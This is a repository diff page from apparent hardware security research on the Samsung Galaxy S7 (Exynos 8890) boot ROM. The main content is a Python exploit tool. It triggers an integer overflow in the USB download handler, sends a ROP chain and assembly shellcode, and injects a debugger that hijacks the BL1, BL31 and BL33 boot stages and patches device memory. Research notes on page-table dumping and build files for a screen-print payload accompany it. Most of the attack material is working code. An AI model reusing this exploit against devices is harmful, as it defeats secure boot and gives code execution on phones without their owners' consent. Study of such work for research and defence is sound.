Compare commits

..

No commits in common. "44ebe96d86ab3a856dfb11f0c78128719ea7b6fd" and "0c84503e47ae4f4e12f61622c210e234215529b4" have entirely different histories.

13 changed files with 88 additions and 163 deletions

View File

@ -232,30 +232,6 @@ So, I've written something to dump the location of thte TTBR0_EL3 table, before
df['TTBR0_EL3'] = [blub]
df.to_pickle('ttbr0_el3.pkl')
I tried modifying some code to write text to the screen. In order to view whether this would at all be possible, I tried modifying code that would alter the message printed when booting normally (it would print: USB RECOVERY MODE). But it would appear that this is already in space that is by then not accessible anymore. The 'str' function crashes the device. Doesn't really matter where I do this, but the space seems immutable.. The movz and movk is because I was having issues moving data into registers.
.. code:: python
# Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite
for i in range(0x8f008cb8, 0x8f008d14, 4):
self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5')
#self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
# Write opcode that writes 'aaaaaaaa' at 0x8f06ab10
shellcode = f"""
// Load the target address (0x8f06ab10) into x21
movz x21, #0x8f06 // Load the high half of the address
movk x21, #0xab10, lsl #16 // Load the low half of the address
// Load the value 'aaaa' (0x6161616161616161) into x22
movz x20, #0xbeef
// Write the contents of x20 to the bytes where x21 points to
str x20, [x21]
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x8f008cb8, shellcode)
It would appear that I'm currently only able to modify code before executing any part of BL33. I'm as of yet unable to return to the debugger at any point in BL33.

View File

@ -41,7 +41,7 @@ TARGET_OFFSETS = {
def wait_for_device():
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
pass
def wait_disconnect():
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
pass
@ -78,7 +78,7 @@ class ExynosDevice():
continue
break
try:
try:
self.handle.getDevice().getSerialNumber()
except Exception as e:
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
@ -86,11 +86,11 @@ class ExynosDevice():
sys.exit(1)
else:
raise e
# claim usb interface
self.handle.claimInterface(0)
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
def disconnect(self):
"""Disconnect the device"""
self.handle.releaseInterface(0)
@ -110,7 +110,7 @@ class ExynosDevice():
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
assert(res == 0)
return transferred.value
def test_bug_2(self):
"""Interger overflow in last packet if reamining size is 1."""
transferred = ctypes.c_int()
@ -118,11 +118,11 @@ class ExynosDevice():
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
assert res == 0
payload = b"\xaa" * 0x200
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True:
@ -136,26 +136,26 @@ class ExynosDevice():
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
assert (len(payload) == BLOCK_SIZE)
res = self.write(payload, MAX_PAYLOAD_SIZE)
res = self.write(payload, MAX_PAYLOAD_SIZE)
for i in range(200):
for i in range(200):
print(hex(self.send_empty_transfer()))
print('Bug probably available')
sys.exit(0)
def send_normal_stage(self, payload):
"""Send next boot stage to the device"""
# construct dl_data
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
dpayload = dpayload + payload + b"\x00" * 2 # add footer
transferred = ctypes.c_int()
transferred = ctypes.c_int()
for block in range(0, len(dpayload), BLOCK_SIZE):
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
assert res == 0, "Error sending payload"
p_ok("Sent stage")
def unsecure_boot(self, exploit=False):
'''
@ -183,29 +183,29 @@ class ExynosDevice():
time.sleep(2)
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
pass
def exploit(self, payload: bytes):
'''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
'''
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
current_offset = TARGET_OFFSETS[self.target][0]
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
transferred = ctypes.c_int()
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
# Assert that payload is 502 bytes
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
# First send payload to trigger the bug
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
@ -213,7 +213,7 @@ class ExynosDevice():
assert res == 0, "Error triggering payload"
assert transferred.value == len(bug_payload), "Invalid transfered size"
current_offset += len(bug_payload) - 8 # Remove header
cnt = 0
while True:
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
@ -224,7 +224,7 @@ class ExynosDevice():
if current_offset > 0x100000000:
current_offset = current_offset - 0x100000000 #reset 32 byte integer
print(f"{cnt} {hex(current_offset)}")
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
if remaining > BLOCK_SIZE:
@ -233,7 +233,7 @@ class ExynosDevice():
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
cnt += 1
print(f"{cnt} {hex(current_offset)}")
# Build ROP chain.
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
transferred = ctypes.c_int(0)
@ -266,7 +266,7 @@ class ExynosDevice():
concrete_device.ga_vbar_location = 0x206d000 + 0x1000
concrete_device.ga_storage_location = 0x206d000
concrete_device.ga_stack_location = 0x206b000
concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
concrete_device.arch_dbg.read = self.usb_read
concrete_device.arch_dbg.write = self.usb_write
@ -287,14 +287,14 @@ class ExynosDevice():
p = p32(count) + b"\xaa" * (0x200 - 4)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, f"Error sending data ({res})"
def _recv_data():
transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
assert res == 0, f"Error receiving data ({res})"
hexdump(buf.raw)
# Should have received some bytes
while True:
_send_data()
@ -323,7 +323,7 @@ class ExynosDevice():
"""
Sets up guppy debugger on the device itself.
"""
def _setup_debugger():
'''
Setup the debugger as a concrete device
@ -351,15 +351,15 @@ class ExynosDevice():
self.usb_write(debugger[block:block+0x200])
# time.sleep(.5) # Wait a little bit
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
# Test basic functionality
self.usb_write(b"PING")
r = self.usb_read(0x200)
assert r == b"PONG", f"Invalid response from device: {r}"
_initial_run_debugger()
_setup_debugger()
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
"""
@ -388,7 +388,7 @@ class ExynosDevice():
self.cd.restore_stack_and_jump(entry)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
def dumb_interact(self, dump_imems=False):
'''
@ -398,7 +398,7 @@ class ExynosDevice():
self.cd.arch_dbg.state.auto_sync_special = False
logger.debug('State after setting up initial debugger')
self.cd.arch_dbg.state.print_ctx()
def first_debugger():
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
self.cd.memwrite_region(0x2069000, debugger)
@ -412,7 +412,7 @@ class ExynosDevice():
### Get whereabouts of the debugger and current processor state
logger.debug('State after relocating debugger')
self.cd.arch_dbg.state.print_ctx()
def memdump_imem():
"""
Dumps the internal memory of the device (0x2020000 - 0x2070000).
@ -422,7 +422,7 @@ class ExynosDevice():
# print(hex(block))
dumped += self.cd.memdump_region(block, 0x200)
return dumped
AUTH_BL1 = 0x00012848 # Location of the authentication function
def auth_bl1(lr=0x2069000):
# Load the firmware
@ -432,67 +432,67 @@ class ExynosDevice():
self.cd.restore_stack_and_jump(AUTH_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
BOOT_BL1 = 0x00019310 # Location of the boot function
def boot_bl1(lr=0x2069000):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(BOOT_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(JUMP_BL1)
# Always hijack rom_usb_download function:
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
# Try loading bl1
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl1)
self.usb_write(b"FLSH") # Flush cache, as Frederic does
self.cd.test_connection()
self.cd.test_connection()
auth_bl1(DEBUGGER_ADDR)
# boot_bl1(DEBUGGER_ADDR)
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
jump_bl1(DEBUGGER_ADDR)
# Returns on usb_download function
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
self.cd.arch_dbg.state.print_ctx()
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl31)
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
self.cd.arch_dbg.state.X0 = 0
self.cd.restore_stack_and_jump(0x020219c8)
pass
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.restore_stack_and_jump(0x02022a08)
# Patches
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
# Patch stupid error function
# self.usb_write(b"FLSH") # Flush cache
# Download next stage?
lr = self.cd.arch_dbg.state.LR
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
pass
# Overwrite jump back to the debugger from functions encountered during jump_bl1
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
def hijack_brom_weird():
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
self.cd.restore_stack_and_jump(0x00000314)
@ -509,14 +509,14 @@ class ExynosDevice():
except Exception as e:
pass
handle_weird_brom()
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
# self.cd.jump_to(0x2069000)
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# self.cd.fetch_special_regs()
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
self.cd.arch_dbg.state.X0 = 1
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
self.usb_read(0x200) # GiAs
@ -524,7 +524,7 @@ class ExynosDevice():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x00000314)
pass
### UXN and PXN seem to be present over the USB stack (02021800+)
shellcode = f"""
ldr x0, debugger_addr
@ -540,7 +540,7 @@ class ExynosDevice():
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
# # Write bl31 at 0x02021800 and authenticate
auth_bl1(0x020c0000)
# Jump to bl31
@ -548,7 +548,7 @@ class ExynosDevice():
pass
# VERY OLD
#000125b4
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
# self.cd.restore_stack_and_jump(0x00012814)
@ -572,7 +572,7 @@ class ExynosDevice():
self.usb_read(0x200) # GiAs
self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
def get_ttbr0_el3(self):
"""
@ -607,8 +607,8 @@ class ExynosDevice():
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
shellcode = f"""
mov x1, lr
ret
mov x1, lr
ret
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
@ -619,7 +619,7 @@ class ExynosDevice():
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
print(f'Jumped to {hex(address)} and back')
def debugger_boot(self):
"""
Boot into USB recovery mode using the debugger.
@ -682,13 +682,13 @@ class ExynosDevice():
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
### Check if authentication was successful - X0 should not be 0??
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
# BL1 is loaded, now authenticate and patch it
auth_bl1(DEBUGGER_ADDR)
self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
# Hijack ROM download function
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
@ -703,11 +703,11 @@ class ExynosDevice():
# And jump into BL1 to execute it
jump_bl1(DEBUGGER_ADDR)
# ==== BL31 ====
# Assure that the debugger is still alive
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# Get current LR, and store it. Then set LR to debugger.
lr = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
@ -718,7 +718,7 @@ class ExynosDevice():
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
time.sleep(2)
# Assure that the debugger is returning (obligatory assuration)
self.usb_read(0x200) # GiAs
@ -726,12 +726,12 @@ class ExynosDevice():
# Set LR to continue boot flow
self.cd.restore_stack_and_jump(lr)
# Assure return to debugger
time.sleep(2)
self.usb_read(0x200) # GiAs
self.cd.memwrite_region(0x02031008, b"ELH")
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
TTBR0_EL3 = 0x02035600 # Zeroed out
@ -743,13 +743,13 @@ class ExynosDevice():
# Jump into BL31 and execute it
self.cd.restore_stack_and_jump(0x02024010)
# Obligatory reconnect and check of debugger
time.sleep(2)
self.connect_device()
self.usb_read(0x200) # GiAs
self.usb_read(0x200) # GiAs
BL31_ra = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
@ -787,42 +787,42 @@ class ExynosDevice():
BL33_ptr = self.cd.arch_dbg.state.X0
BL33_LR = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
# Disable this to keep access to the debugger after senindg the next stage
self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
self.cd.restore_stack_and_jump(hijacked_fun)
# ==== Stage 5 ====
# Sends stage 5 (BL33) but returns to debugger after sending.
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
# print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read()
# off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9"))
# stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):]
# Sends stage 5 (BL33) but returns to debugger after sending.
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
self.send_normal_stage(stage4)
self.connect_device()
self.usb_read(0x200) # GiAs
# Change bootmode to SDCARD (allow normal booting, if pressing volume up)
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
# # Modify something in BL33
print(self.cd.arch_dbg.state.print_ctx())
print(self.cd.memdump_region(0x8f063710, 0x8))
self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74))
# Modify USB Recovyer mode string to: NFI Patched BL33
self.cd.memwrite_region(0x8f06ab10, b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33')
print(self.cd.memdump_region(0x8f063710, 0x8))
# Print state of x30/LR on screen
self.cd.memwrite_region(0x8f01dc08, struct.pack('>I', 0x7b432c91))
# Jump into a different function that continues the boot flow (different than BL33_LR)
self.cd.restore_stack_and_jump(0x02024e5c)
pass
if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
args = arg.parse_args()
exynos = ExynosDevice()
@ -832,7 +832,7 @@ if __name__ == "__main__":
exynos.dump_memory(write=True)
# exynos.usb_debug()
sys.exit(0)
if args.unsecure_boot:
exynos.unsecure_boot()
sys.exit(0)
@ -846,5 +846,5 @@ if __name__ == "__main__":
exynos.setup_guppy_debugger()
exynos.dumb_interact()
sys.exit(0)

Binary file not shown.

View File

@ -1,18 +0,0 @@
ifeq ($(ANDROID_NDK_ROOT),)
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
endif
CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang
AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar
OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy
LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd
#==================Target Samsung S7 (8890)==================
CFLAGS_SAMSUNGS7 = -Os # -Os for optimization for size
print:
$(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7) # -c compiles assembly code, and -o creates an object file (containing linking and symbol information)
$(CC) $(CFLAGS_SAMSUNGS7) -c test_print.c -o print.o # compiles test_print.c to print.o
$(LD) -T test_print.ld entry.o print.o -o print.elf --just-symbols=symbols.txt # -T for linker script, --just-symbols for symbols file
$(OBJCOPY) -O binary print.elf print.bin

View File

@ -1,2 +0,0 @@
start:
b notmain

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1 +0,0 @@
jh_print_to_screen = 0x8f0222d0;

View File

@ -1,16 +0,0 @@
#include <stdint.h>
void jh_print_to_screen(int param_1,int param_2,int param_3,int param_4,int param_5,char *param_6,
int param_7);
// uint r_log(char *fmt,...);
int notmain(char *msg, int msg_len){
// jh_print_to_screen(0x1234, 12, 0xfff, 0xfff, msg, msg_len, 2);
// volatile int a = 0;
// for(int i = 0; i < 100000; i++){
// a++;
// }
// while(1);
return 0;
}

View File

@ -1,14 +0,0 @@
MEMORY {
ROM (rwx): ORIGIN = 0x8f007de8, LENGTH = 0x108
}
SECTIONS
{
. = 0x8f007de8;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}